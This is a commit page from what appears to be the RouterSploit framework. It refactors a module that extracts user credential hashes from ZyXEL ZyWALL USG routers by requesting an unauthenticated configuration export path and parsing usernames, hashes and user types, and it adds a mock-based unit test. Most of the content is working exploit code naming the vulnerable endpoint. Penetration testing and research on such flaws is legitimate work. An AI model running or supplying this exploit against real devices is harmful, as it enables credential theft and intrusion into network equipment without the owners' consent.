Unverified Commit b0622a29 by Marcin Bury Committed by GitHub

Fixing zywall_usg_extract_hashes and adding tests (#419)

parent 8800e62d
...@@ -32,24 +32,14 @@ class Exploit(HTTPClient): ...@@ -32,24 +32,14 @@ class Exploit(HTTPClient):
ssl = OptBool("true", "SSL enabled: true/false") ssl = OptBool("true", "SSL enabled: true/false")
def __init__(self): def __init__(self):
self.script_content = None self.credentials = []
def run(self): def run(self):
self.credentials = []
if self.check(): if self.check():
print_success("Target appears to be vulnerable") print_success("Target appears to be vulnerable")
print_table(("Username", "Hash", "User type"), *self.credentials)
if self.script_content and len(self.script_content):
print_status("Parsing the script ...")
creds = []
for line in self.script_content.split("\n"):
line = line.strip()
m_groups = re.match(r'username (.*) password (.*) user-type (.*)', line, re.I | re.M)
if m_groups:
creds.append((m_groups.group(1), m_groups.group(2), m_groups.group(3)))
print_table(('Username', 'Hash', 'User type'), *creds)
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
...@@ -62,7 +52,13 @@ class Exploit(HTTPClient): ...@@ -62,7 +52,13 @@ class Exploit(HTTPClient):
) )
if response is not None and response.status_code == 200: if response is not None and response.status_code == 200:
self.script_content = response.text for line in response.text.split("\n"):
return True # target is vulnerable line = line.strip()
m_groups = re.match(r"username (.*) password (.*) user-type (.*)", line, re.I | re.M)
if m_groups:
self.credentials.append((m_groups.group(1), m_groups.group(2), m_groups.group(3)))
if self.credentials:
return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
from routersploit.modules.exploits.routers.zyxel.zywall_usg_extract_hashes import Exploit
def test_check_success(target):
""" Test scenario - successful check """
route_mock = target.get_route_mock("/cgi-bin/export-cgi/images/", methods=["GET"])
route_mock.return_value = (
"TEST\n"
"username TEST password TEST user-type TEST\n"
"TEST\n"
)
exploit = Exploit()
exploit.target = target.host
exploit.port = target.port
exploit.ssl = "false"
assert exploit.check()
assert exploit.run() is None
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment